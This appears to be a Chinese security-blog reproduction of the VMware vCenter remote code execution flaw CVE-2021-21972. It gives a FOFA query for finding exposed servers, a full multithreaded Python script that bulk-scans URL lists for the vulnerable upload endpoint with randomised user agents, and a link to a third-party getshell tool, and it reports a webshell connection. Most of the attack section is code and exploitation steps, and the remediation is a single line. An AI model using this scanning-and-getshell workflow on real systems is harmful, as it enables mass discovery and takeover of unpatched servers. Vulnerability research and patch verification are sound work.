CVE-2021-21972Vmware远程代码执行漏洞复现

admin 2021年2月26日01:16:30评论73 views字数 3529阅读11分45秒阅读模式

一、漏洞介绍

          vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。
 vSphere Client(HTML5)在 vCenter Server 插件中存在一个远程执行代码漏洞。攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,写入webshell从而控制服务器。

二、影响版本

VMware vCenter Server 7.0系列 < 7.0.U1c

VMware vCenter Server 6.7系列 < 6.7.U3l

VMware vCenter Server 6.5系列 < 6.5 U3n

VMware ESXi 7.0系列 < ESXi70U1c-17325551

VMware ESXi 6.7系列 < ESXi670-202102401-SG

VMware ESXi 6.5系列 < ESXi650-202102101-SG

三、漏洞复现

0x01 fofa搜索关键字

body="/www.vmware.com/info?id=928"&&body="/certs/download.zip"&&body="document.write(ID_VISDK);"或者title="+ ID_VC_Welcome +"

注意:不能用于非法用途。

0x02 漏洞利用

(1):漏洞检验

可以使用下列脚本进行漏洞检验,该脚本只能检验漏洞,不能getshell。

#-*- coding:utf-8 -*- banner = """         888888ba             dP                              88    `8b            88                             a88aaaa8P' .d8888b. d8888P .d8888b. dP    dP          88   `8b. 88'  `88   88   Y8ooooo. 88    88          88    .88 88.  .88   88         88 88.  .88          88888888P `88888P8   dP   `88888P' `88888P'     ooooooooooooooooooooooooooooooooooooooooooooooooooooo                  @time:2021/02/24 CVE-2021-21972.py                 C0de by NebulabdSec - @batsu                    """ print(banner)  import threadpool import random import requests import argparse import http.client import urllib3  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) http.client.HTTPConnection._http_vsn = 10 http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'  TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"  def get_ua():     first_num = random.randint(55, 62)     third_num = random.randint(0, 3200)     fourth_num = random.randint(0, 140)     os_type = [         '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',         '(Macintosh; Intel Mac OS X 10_12_6)'     ]     chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)      ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',                    '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']                   )     return ua  def CVE_2021_21972(url):     proxies = {"scoks5": "http://127.0.0.1:1081"}     headers = {         'User-Agent': get_ua(),         "Content-Type": "application/x-www-form-urlencoded"     }     targetUrl = url + TARGET_URI     try:         res = requests.get(targetUrl,                             headers=headers,                             timeout=15,                             verify=False,                             proxies=proxies)                             # proxies={'socks5': 'http://127.0.0.1:1081'})         # print(len(res.text))         if res.status_code == 405:             print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))             # print("[+] Command success result: " + res.text + "n")             with open("存在漏洞地址.txt", 'a') as fw:                 fw.write(url + 'n')         else:             print("[-] " + url + " 没有发现CVE-2021-21972漏洞.n")     # except Exception as e:     #     print(e)     except:         print("[-] " + url + " Request ERROR.n") def multithreading(filename, pools=5):     works = []     with open(filename, "r") as f:         for i in f:             func_params = [i.rstrip("n")]             # func_params = [i] + [cmd]             works.append((func_params, None))     pool = threadpool.ThreadPool(pools)     reqs = threadpool.makeRequests(CVE_2021_21972, works)     [pool.putRequest(req) for req in reqs]     pool.wait()  def main():     parser = argparse.ArgumentParser()     parser.add_argument("-u",                         "--url",                         help="Target URL; Example:http://ip:port")     parser.add_argument("-f",                         "--file",                         help="Url File; Example:url.txt")     # parser.add_argument("-c", "--cmd", help="Commands to be executed; ")     args = parser.parse_args()     url = args.url     # cmd = args.cmd     file_path = args.file     if url != None and file_path ==None:         CVE_2021_21972(url)     elif url == None and file_path != None:         multithreading(file_path, 10)  # 默认15线程  if __name__ == "__main__":     main()

CVE-2021-21972Vmware远程代码执行漏洞复现

(2):漏洞利用

Sp4ce师傅的脚本可以一键检测+getshell,属实太强了。但是Sp4ce师傅的脚本目前还有局限性,不能针对所有的网站,我已经联系Sp4ce师傅,他答应我早点重构一下代码。跟在大佬后面我就做一个脚本小子就行了。

https://github.com/NS-Sp4ce/CVE-2021-21972

CVE-2021-21972Vmware远程代码执行漏洞复现

直接冰蝎连接,成功getshell。

CVE-2021-21972Vmware远程代码执行漏洞复现

四、修复建议

0x01 更新到不受影响的版本

原文始发于微信公众号(想走安全的小白):CVE-2021-21972Vmware远程代码执行漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年2月26日01:16:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-21972Vmware远程代码执行漏洞复现https://cn-sec.com/archives/886053.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息